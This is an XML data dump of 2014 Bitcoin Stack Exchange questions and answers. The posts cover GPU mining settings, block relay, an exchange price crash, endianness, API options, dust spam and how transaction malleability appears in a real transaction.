  <row Id="22016" PostTypeId="2" ParentId="17738" CreationDate="2014-02-11T14:47:23.717" Score="0" Body="&lt;p&gt;I have two HIS 6870's and they are both hitting 270kh/s at 77c with these settings: intensity 14, worksize 64, thread-concurrency 6720, gpu-memclock 900, gpu-powertune -20.  Running on default &lt;a href=&quot;https://litecointalk.org/index.php?topic=2924.0&quot; rel=&quot;nofollow&quot;&gt;litecoinBAMT1.3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sgminer version 4.0.0 - Started: [2014-02-10 20:31:11]&#xA;--------------------------------------------------------------------------------&#xA;(5s):551.1K (avg):543.6Kh/s | A:314368  R:3072  HW:0  WU:524.5/m&#xA;ST: 6  SS: 0  NB: 2039  LW: 38388  GF: 1  RF: 0&#xA;Connected to useast.middlecoin.com diff 1.02K with stratum as user ME&#xA;Block: f91ee7b2...  Diff:110M  Started: [06:46:06]  Best share: 325K&#xA;--------------------------------------------------------------------------------&#xA;[P]ool management [G]PU management [S]ettings [D]isplay options [Q]uit&#xA; GPU 0:  77.0C 3012RPM | 272.5K/273.3Kh/s | R:  0.6% HW:0 WU: 275.4/m I:14&#xA; GPU 1:  77.0C 2826RPM | 272.7K/270.4Kh/s | R:  1.4% HW:0 WU: 249.1/m I:14&#xA;--------------------------------------------------------------------------------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13362" LastEditorUserId="13363" LastEditDate="2014-02-11T16:22:59.670" LastActivityDate="2014-02-11T16:22:59.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22017" PostTypeId="1" CreationDate="2014-02-11T15:07:34.000" Score="2" ViewCount="132" Body="&lt;p&gt;Could anyone explain in simple words what does the reference client do when it receives a orphan, stale or best-chain block regarding sending &quot;inv&quot;, &quot;block&quot; and &quot;getdata&quot; commands?&#xA;An interaction diagram or concise description would be very useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The block forwarding logic is spread all over main.cpp source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A complete answer should allow to respond these simple questions with true/false:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a. An orphan block received from a peer is not announced to the remaining peers until the parents are found (&quot;inv&quot; command not sent immediately).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;b. A stale block (not in the best chain) received from a peer is not announced to the remaining peers until it becomes part of the best chain (&quot;inv&quot; command not sent immediately).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c. Some blocks are forwarded even if they are not requested by peers (&quot;block&quot; command issued even if &quot;getdata&quot; not received). Which blocks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;d. Orphan blocks can be requested by peers using &quot;getdata&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e. Stale blocks can be requested by peers using &quot;getdata&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;f. Nodes request whatever block it's announced by a peer &quot;inv&quot; command for which they don't have the hash, being stale, orphan or invalid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This link &lt;a href=&quot;https://bitcointalk.org/index.php?topic=41729.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=41729.0&lt;/a&gt; describes the interaction, but it's terribly complicated. Can it be described in more simple words?&lt;/p&gt;&#xA;" OwnerUserId="638" LastEditorUserId="5406" LastEditDate="2023-10-20T17:18:29.783" LastActivityDate="2023-10-20T17:18:29.783" Title="What is block forwarding logic of the Satoshi Client?" Tags="|p2p|relay|best-chain|orphaned-blocks|stale-block|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22018" PostTypeId="1" CreationDate="2014-02-11T15:12:19.727" Score="0" ViewCount="317" Body="&lt;p&gt;At around 10.00AM of 10th Feb, BTC-e had hit the low level of 102 USD/BTC from 700 USD half hour before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is it possible at all? And even after such a big dip, how did the market recover and survive?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kooKz.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="5805" LastEditorDisplayName="user1586" LastEditDate="2014-02-12T00:24:40.600" LastActivityDate="2014-02-12T00:24:40.600" Title="How the BTC-e could dive to 102 points (from 700) and the recover back to 700" Tags="|exchange-rate|btce|charts|market-depth|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22019" PostTypeId="1" CreationDate="2014-02-11T15:25:57.460" Score="0" ViewCount="239" Body="&lt;p&gt;As mentioned on this &lt;a href=&quot;https://en.bitcoin.it/wiki/Hardfork_Wishlist&quot; rel=&quot;nofollow&quot;&gt;Hardfork Wishlist&lt;/a&gt;, many developers want Bitcoin to be entirely Big Endian for consistency and performance reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for a concise list of all the areas that Bitcoin uses data in Little (or Big) Endian format so I can create an &quot;endian coin&quot; just for the purposes of testing capacity and performance.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2014-02-11T15:36:34.680" LastActivityDate="2014-02-11T15:50:28.083" Title="What parts of Bitcoin (litecoin etc) are Little Endian?" Tags="|development|blockchain-fork|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22020" PostTypeId="2" ParentId="22018" CreationDate="2014-02-11T15:40:34.213" Score="2" Body="&lt;p&gt;It simply is someone with a lot of coins, who sold on the open market and depressed the price (temporarily).  It was an economically unwise decision, since they missed out on the fair market value as you saw.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is one example of how the &lt;a href=&quot;https://bitcoin.stackexchange.com/a/8573/1878&quot;&gt;Powerful Elite can Thwart Cryptocurrencies.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2014-02-11T15:40:34.213" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22021" PostTypeId="1" AcceptedAnswerId="22026" CreationDate="2014-02-11T15:43:24.377" Score="0" ViewCount="2244" Body="&lt;p&gt;I have a set of PCs hasing at 100 kH/s and currently the network difficulty is 2674.36329706.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My power usage is 200 W, and as per &lt;a href=&quot;https://www.litecoinpool.org/calc?hashrate=100&amp;amp;difficulty=2674.36329706&amp;amp;power=200&amp;amp;energycost=0.12&amp;amp;currency=USD&quot; rel=&quot;nofollow&quot;&gt;https://www.litecoinpool.org/calc?hashrate=100&amp;amp;difficulty=2674.36329706&amp;amp;power=200&amp;amp;energycost=0.12&amp;amp;currency=USD&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the probability of me finding a block in 30 days is 2.23%&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, my internet speed has been curtailed at 52 kilobytes-per-second and I'm wondering if that changes the above probability from 2% to zero? ie, do I need to have a great internet connection to even have that 2% chance?&lt;/p&gt;&#xA;" OwnerUserId="12923" LastEditorUserId="5406" LastEditorDisplayName="user1586" LastEditDate="2016-04-25T20:30:25.420" LastActivityDate="2016-04-25T20:30:25.420" Title="Effect of internet connection speed on solo mining" Tags="|litecoin|hash|solo-mining|mining-setup|bandwidth|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-12T01:22:24.533" ContentLicense="CC BY-SA 3.0" />
  <row Id="22022" PostTypeId="2" ParentId="22019" CreationDate="2014-02-11T15:50:28.083" Score="2" Body="&lt;p&gt;All numeric values on the wire are little-endian with the exception of network addresses and ports, which are big-endian.  This includes Sha-256 digests which are treated as 32-byte numbers.  It does not include data pushed on to the script stack, however, which is copied as-is from the script element.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The regular numbers aren't really a problem since you end up shifting the bytes to form the internal numeric value in either case.  But the 32-byte values are expensive since you end up allocating a new byte array to reverse the bytes as you go to/from the wire protocol byte stream.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2014-02-11T15:50:28.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22023" PostTypeId="2" ParentId="19674" CreationDate="2014-02-11T15:54:04.543" Score="7" Body="&lt;p&gt;try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getrawtransaction 2f50fdf7adbf58e91d738869948f4b191eb3cafa016c6df7e9182c06e4513852 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;note the &lt;strong&gt;1&lt;/strong&gt; at the end, which instructs bitcoind to operate in verbose mode.&lt;/p&gt;&#xA;" OwnerUserId="13364" LastEditorUserId="10658" LastEditDate="2018-10-09T16:26:48.467" LastActivityDate="2018-10-09T16:26:48.467" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22024" PostTypeId="2" ParentId="22018" CreationDate="2014-02-11T17:33:06.583" Score="0" Body="&lt;p&gt;I think it was automated trading bot avalanche.&lt;/p&gt;&#xA;" OwnerUserId="13367" LastActivityDate="2014-02-11T17:33:06.583" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22026" PostTypeId="2" ParentId="22021" CreationDate="2014-02-11T19:15:47.907" Score="2" Body="&lt;p&gt;With solo mining, all you &lt;em&gt;need&lt;/em&gt; to get from the Internet is the latest block. Since these come once every 2.5 minutes (average) and are &lt;a href=&quot;https://litecoin.info/Litecoin.conf&quot; rel=&quot;nofollow&quot;&gt;at most 250 KB&lt;/a&gt; (&lt;a href=&quot;http://block-explorer.com/&quot; rel=&quot;nofollow&quot;&gt;typically ~10 KB&lt;/a&gt;), you should be just fine. You'd also want to get all the latest Litecoin network traffic in order to validate all the transactions you can, but that'd be pretty small, like the blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might find (on average) a few more stale blocks than the typical high-speed user, but this shouldn't be too significant: on the order of (your latency and download time - normal latency and download time)/2.5 minutes&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-02-12T01:03:41.930" LastActivityDate="2014-02-12T01:03:41.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22027" PostTypeId="1" AcceptedAnswerId="22030" CreationDate="2014-02-11T19:37:51.947" Score="3" ViewCount="579" Body="&lt;p&gt;So I read on bitcointalk the other day that there was a new coin about to be released (woo hoo right?!) and then they posted that somebody had stolen the genesis block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What exactly does that mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does somebody steal a block and what does that mean to the other blocks/block chain or miners?&lt;/p&gt;&#xA;" OwnerUserId="12920" LastEditorDisplayName="user1586" LastEditDate="2014-02-12T00:24:43.257" LastActivityDate="2014-02-12T11:10:09.650" Title="How can somebody steal the Genesis block?" Tags="|theft|genesis-block|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22029" PostTypeId="2" ParentId="22006" CreationDate="2014-02-11T21:30:38.417" Score="2" Body="&lt;p&gt;So long as the difficulty can drop low enough there won't be a problem. If nobody cares about the currency, then it won't matter. If anyone cares about the currency enough, they'll mine a block. The only threat is if a large amount of mining power leaves at once. In this case, the difficulty can be very high and it can be difficult to muster enough mining power to get to the point where the difficulty drops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But that's not the real problem. The real problem is that ASIC-resistant coins will always be much less secure than coins that can be mined by ASICs. With coins that can be mined by ASICs, anyone who wants to attack the coin must first invest heavily in the coin by buying ASICs -- an investment they will make worthless if their attack is successful. By contrast, coins that can be mined efficiently by CPUs and GPUs can easily be attacked with rented computer power and botnets, at much lower relative cost.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-11T21:30:38.417" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22030" PostTypeId="2" ParentId="22027" CreationDate="2014-02-11T21:34:05.170" Score="3" Body="&lt;p&gt;I assume this is referring to the duckduckcoin launch fiasco.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For pre-mined coins based on the Bitcoin software, the pre-mined coins typically just go to whoever mines the first few blocks. The idea is that you don't open the software up until those blocks are mined. But if you do, and someone else mines those blocks, they get the pre-mine. To protect against this, you must release the software with a checkpoint after the pre-mine. Apparently, somebody forgot to add that checkpoint.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="5406" LastEditDate="2014-02-12T11:10:09.650" LastActivityDate="2014-02-12T11:10:09.650" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22031" PostTypeId="1" CreationDate="2014-02-11T21:59:43.003" Score="4" ViewCount="262" Body="&lt;p&gt;I am looking at building an application using Bitcoins, and being a newbie the only real resources I have found regarding how to interact with the network is to issue RPC commands to the bitcoin-qt client running as a service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've played with this a bit and I am curious if there are other clients that do the same thing? Or is this client the only game in town?&lt;/p&gt;&#xA;" OwnerUserId="1987" LastActivityDate="2014-02-12T06:18:50.903" Title="For Application Development is bitcoind RPC the Only Way?" Tags="|bitcoin-core|json-rpc|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22032" PostTypeId="2" ParentId="22031" CreationDate="2014-02-11T22:12:13.480" Score="1" Body="&lt;p&gt;No, it's an important part, but it's not the only option.  And it depends entirely on what type of application you want to build and where you are located geographically.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If you want a lot of flexibility but don't want to run your own&#xA;Bitcoind, look into Blockchain's &lt;a href=&quot;http://blockchain.info/api/blockchain_wallet_api&quot; rel=&quot;nofollow&quot;&gt;wallet API&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;If you are in the US and you want to accept Bitcoin, &lt;a href=&quot;https://coinbase.com/docs/api/overview&quot; rel=&quot;nofollow&quot;&gt;Coinbase has a rich API&lt;/a&gt; as well.  &lt;a href=&quot;https://bitpay.com/bitcoin-payment-gateway-api&quot; rel=&quot;nofollow&quot;&gt;BitPay has an API&lt;/a&gt; also, although I'm less familiar with it.&lt;/li&gt;&#xA;&lt;li&gt;Other sites exist that let you get quotes, inspect blocks, transactions, etc. through REST-formed requests.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Running bitcoind exacts a certain toll for hosting fees as well as managing security.  It's what I've chosen for my business, but it's not the only approach for everyone.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-02-11T22:12:13.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22033" PostTypeId="5" CreationDate="2014-02-11T22:14:07.770" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-02-11T22:14:07.770" LastActivityDate="2014-02-11T22:14:07.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22034" PostTypeId="4" CreationDate="2014-02-11T22:14:07.770" Score="0" Body="Refers to questions about price charts." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-02-12T00:24:49.553" LastActivityDate="2014-02-12T00:24:49.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22035" PostTypeId="1" CreationDate="2014-02-11T22:29:37.083" Score="1" ViewCount="827" Body="&lt;p&gt;I have received 0.00000001 BTC random payment and the status symbol is a pentagram? Am I being used to tumble someone's stolen coin there are a lot of other wallets in the transaction?&lt;/p&gt;&#xA;" OwnerUserId="13382" LastActivityDate="2014-02-12T00:42:05.027" Title="I have received 0.00000001 BTC random payment and the status symbol is a pentagram?" Tags="|transactions|fraud|" AnswerCount="1" CommentCount="2" ClosedDate="2014-02-12T12:28:01.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="22036" PostTypeId="2" ParentId="22031" CreationDate="2014-02-11T22:36:22.230" Score="0" Body="&lt;p&gt;While @ChrisW's answer is good for situations where you need basic functionality, you have to remember that you'd be relying on third-parties. Which means when they go down, also your application goes down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It depends on what you need to do, but if you're just looking to send and receive bitcoins and checking balances there's for example &lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;bitcoinj&lt;/a&gt; which is a Java implementation that you could use within your application without having to rely on a full-node (bitcoind).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be a lot faster and easier in my opinion if you're just building a wallet application for example, because it's not a full node and doesn't require you to download the entire block chain, but just the headers.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2014-02-11T22:36:22.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22037" PostTypeId="1" CreationDate="2014-02-11T23:43:57.007" Score="3" ViewCount="205" Body="&lt;p&gt;EDIT: This question is not specific to Bitcoin.  It's applicable to any other crypto currency that is interested in using a different signature scheme than Bitcoin or the QT reference client.  One reason for this is to reduce complexity (and bugs) in the protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding of malleable transactions in Bitcoin is that two different values are supported for &quot;S&quot; when a signature is validated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution for this is to ensure that S is less than the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  X9ECParameters ecParams = Org.BouncyCastle.Asn1.Sec.SecNamedCurves.GetByName(&quot;secp256k1&quot;);&#xA;&#xA;  HALF_CURVE_ORDER = ecParams.N.ShiftRight(1);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Given the plethora of signature mechanisms available to crypto-currency, what algorithms or signature approaches are not vulnerable to Malleable Transactions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.  What if...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A different curve was selected instead of secp256k1?&lt;/li&gt;&#xA;&lt;li&gt;A different signature mechanism was chosen? &lt;/li&gt;&#xA;&lt;li&gt;A different approach entirely, such as a blind HMAC was used to sign transactions?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm interested in answers that describe both solutions that are broken, and those that would prevent malleable transactions from ever occurring.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to flush out an algorithm that produces consistent results with minimal complexity for implementors.  (in other words, even Mt Gox would get it right)&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="1878" LastEditDate="2014-02-12T05:05:19.147" LastActivityDate="2014-07-12T07:53:24.123" Title="Is there a signature format, or cryptography has *only one* possible S value?" Tags="|development|cryptography|signature|risk-mitigation|transaction-malleability|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="22038" PostTypeId="2" ParentId="22037" CreationDate="2014-02-11T23:50:56.627" Score="1" Body="&lt;p&gt;The solution is the same regardless of curve or signature algorithm -- reject non-canonical signatures. This is precisely what Bitcoin has decided to do.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-02-11T23:50:56.627" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="22039" PostTypeId="2" ParentId="22035" CreationDate="2014-02-12T00:42:05.027" Score="3" Body="&lt;p&gt;These were received from addresses starting with &quot;1Enjoy&quot; and &quot;1Sochi&quot;, right? A lot of people got these today (including me). It is a part of some ongoing spamming effort of sorts - I wouldn't be too concerned with it.&lt;/p&gt;&#xA;" OwnerUserId="13384" LastActivityDate="2014-02-12T00:42:05.027" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22040" PostTypeId="2" ParentId="19965" CreationDate="2014-02-12T04:57:44.873" Score="1" Body="&lt;p&gt;Yes it is possible. Thre is (at least) one spanish pool (&lt;a href=&quot;http://manicminer.in&quot; rel=&quot;nofollow&quot;&gt;http://manicminer.in&lt;/a&gt;) mergemining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can choose to point your miner to one of  3 main chains (litecoin, dogecoin, potcoin) and you also get Pesetacoin (s spanish cryptocurrency) orgcoin , UnitedScrptCoin and huntercoin.&lt;/p&gt;&#xA;" OwnerUserId="13009" LastActivityDate="2014-02-12T04:57:44.873" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22042" PostTypeId="2" ParentId="20790" CreationDate="2014-02-12T05:05:06.760" Score="1" Body="&lt;p&gt;a) no need. you can fork your chain with the new chain-id at any time. but the wallets have to know the point of fork. The spanish coin pesetacoin forked the chain  near block 32000. and has no problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c) there is (at least) one pool mergemining with 3 main chains (you have to choose one) and 4 aux chains (pesetacoin orgcoin hutercoin and usc) have a look at &lt;a href=&quot;http://manicminer.in&quot; rel=&quot;nofollow&quot;&gt;http://manicminer.in&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13009" LastActivityDate="2014-02-12T05:05:06.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22044" PostTypeId="1" AcceptedAnswerId="22048" CreationDate="2014-02-12T06:02:01.010" Score="2" ViewCount="566" Body="&lt;p&gt;Why satoshi client's UPnP part maps to a fixed external port (8333 by default)?&#xA;If there are multiple clients behind the NAT router, won't there be a conflict?&lt;/p&gt;&#xA;" OwnerUserId="12782" LastEditorUserId="12782" LastEditDate="2014-02-12T15:36:23.520" LastActivityDate="2014-02-12T15:36:23.520" Title="Why satoshi client's UPnP part maps to a fixed external port (8333 by default)?" Tags="|network|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="22045" PostTypeId="2" ParentId="4405" CreationDate="2014-02-12T06:08:30.950" Score="0" Body="&lt;p&gt;Don't trust MtGox or any exchange to store your BTC.  Any BTC on an exchange is at risk of being lost, stolen, or made inaccessible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So keep your BTC stash in your own cold storage.  To do this create a wallet using blockchain.info (or equivalent), create your own BTC deposit addresses and move your BTC from MtGox to your addresses.  Now if you keep the associated private keys for your addresses offline, this is what's known as &quot;cold storage&quot;.  Note that it's actually &quot;warm storage&quot; since your BTC still exist on the blockchain; there is no such thing as real cold storage for BTC.  Now you can (and should) back up your private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your BTC addresses can be added to your wallet as &quot;watch only&quot; addresses (the private key is not required).  This way your wallet will be able to display your BTC balance but your BTC is still safe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To spend your cold stored BTC, import one or more of your BTC addresses into your wallet by providing your private key.  The BTC address(es) that you import are at risk, so do not re-use them.&lt;/p&gt;&#xA;" OwnerUserId="13389" LastActivityDate="2014-02-12T06:08:30.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22046" PostTypeId="2" ParentId="22031" CreationDate="2014-02-12T06:18:50.903" Score="2" Body="&lt;p&gt;You have many options but Bitcoind is a popular one due to its initial ease.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use Bitcoind&lt;/li&gt;&#xA;&lt;li&gt;Use an API such as Coinbase or Blockchain.info be careful as these can be slow and not as secure.&lt;/li&gt;&#xA;&lt;li&gt;Use one of the many libraries made for various languages. &lt;a href=&quot;https://code.google.com/p/bitcoinj/&quot; rel=&quot;nofollow&quot;&gt;Bitcoinj&lt;/a&gt; for Java, &lt;a href=&quot;https://bitcointalk.org/index.php?topic=30646.0&quot; rel=&quot;nofollow&quot;&gt;Libbitcoin&lt;/a&gt; for C++, &lt;a href=&quot;https://github.com/piotrnar/gocoin&quot; rel=&quot;nofollow&quot;&gt;Gocoin&lt;/a&gt; for Golang, and for other languages like Python and Javascript you can always find tools in a github search. This is &lt;a href=&quot;https://github.com/search?l=Python&amp;amp;o=desc&amp;amp;q=bitcoin&amp;amp;ref=searchresults&amp;amp;s=stars&amp;amp;type=Repositories&quot; rel=&quot;nofollow&quot;&gt;the search&lt;/a&gt; for Python libraries in python.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-12T06:18:50.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22048" PostTypeId="2" ParentId="22044" CreationDate="2014-02-12T08:23:47.817" Score="3" Body="&lt;p&gt;A fixed external port is used so that other clients on the internet can connect to your client by knowing only your IP address. They will use the fixed port number to connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have multiple clients behind a NAT device, then only one client will be able to negotiate with the NAT device to listen on port 8333 (and have incoming connections translated to its client address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the above assumes the clients actually are behind a NAT devices (which is very common, especially in home networking setups). If instead the router is really just a router and not a NAT device, then each client behind the router will have its own &lt;em&gt;public&lt;/em&gt; IP address, and there won't be any conflict between more than one of them listening at the same time on port 8333.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-12T08:23:47.817" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22051" PostTypeId="1" CreationDate="2014-02-12T09:32:47.790" Score="12" ViewCount="2282" Body="&lt;p&gt;How does a transaction malleability look like in the blockchain? Are there any examples?&lt;/p&gt;&#xA;" OwnerUserId="12899" LastActivityDate="2014-02-14T10:07:45.730" Title="Transaction Malleability in the blockchain" Tags="|transactions|blockchain|transaction-malleability|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22052" PostTypeId="5" CreationDate="2014-02-12T09:46:08.370" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-02-12T09:46:08.370" LastActivityDate="2014-02-12T09:46:08.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22053" PostTypeId="4" CreationDate="2014-02-12T09:46:08.370" Score="0" Body="Dust refers to transaction outputs whose value isn't much more than the cost of spending them. " OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-04-12T12:48:56.853" LastActivityDate="2016-04-12T12:48:56.853" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22054" PostTypeId="2" ParentId="22051" CreationDate="2014-02-12T09:47:45.690" Score="6" Body="&lt;p&gt;The blockchain cannot contain malleable transactions. The malleable transactions happen &lt;em&gt;before&lt;/em&gt; the transaction is embedded in a block in the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, the transaction ID is a hash of everything about the transaction including the signature. The signature signs everything &lt;em&gt;except&lt;/em&gt; the signature part (it can't sign its own data). So, two transaction records can have the same inputs and outputs, with (effectively) the same signature, but have a different transaction ID. It is this double transaction ID for the same transaction that can confuse some Bitcoin clients.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a transaction is incorporated into a block, the malleability no longer matters. When Bitcoin clients try to work with transactions before they have been properly confirmed (by being incorporated in a block several times), problems can arise.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-02-12T09:47:45.690" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22057" PostTypeId="2" ParentId="18540" CreationDate="2014-02-12T09:54:09.830" Score="1" Body="&lt;p&gt;One of the things you need is a good understanding of your countries laws. Many countries have regulations around handling and exchanging money, and without understanding those you could find your exchange shut down, or worse, find yourself in jail on money laundering charges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The software and algorithms for running an exchange are quite simple, but the regulatory issues aren't, so you'll probably find a lot of the fees exchanges charge go into compliance; i.e. making sure they can continue trading.&lt;/p&gt;&#xA;" OwnerUserId="13262" LastActivityDate="2014-02-12T09:54:09.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22058" PostTypeId="2" ParentId="22051" CreationDate="2014-02-12T10:10:27.833" Score="8" Body="&lt;p&gt;Here is example: &lt;a href=&quot;https://blockchain.info/tx/683f45578328242a06bc5c54acbcbe6e70a5435b4561fc8b0570a59ab09f8bfa?show_adv=true&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/tx/683f45578328242a06bc5c54acbcbe6e70a5435b4561fc8b0570a59ab09f8bfa?show_adv=true&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at first input script in raw:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;4d49003046022100847361c694421bf63ea1b51d8e2189805b161ab3d4cb96ab745a20468dd6c2ea0221009160897652bedfd7c837855d793c32509063338ac7524b8f09abfed761cf16fc014d410004c8dde23708932059bf4491c96794c5412b1182d62d2741e0986cb87276d3053f0b7326155114ad67c04adc60b5a47718fa8744ecb86a001f99da8761113edb24&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Look at first byte: &lt;code&gt;4d&lt;/code&gt; (OP_PUSHDATA2). It means, that next 2 bytes contains length of data, that will be pushed to stack. This length = &lt;code&gt;0x49&lt;/code&gt;. But typical transaction does not use OP_PUSHDATA2 command. If transaction was created by bitcoin-qt, it starts with length of data directly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[4d]49[00]3046....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I take into brackets unnecessary bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, someone added 2 bytes to signature script, but did not break signature and changed id of transaction. Original tx was deleted from blockchain.info. Next link no longer works: &lt;a href=&quot;https://blockchain.info/tx/ef74c1cbf0003fc4e96a87a59838f7dd3da488d9d83fec3f270b0d3d7c2bc309?show_adv=true&quot; 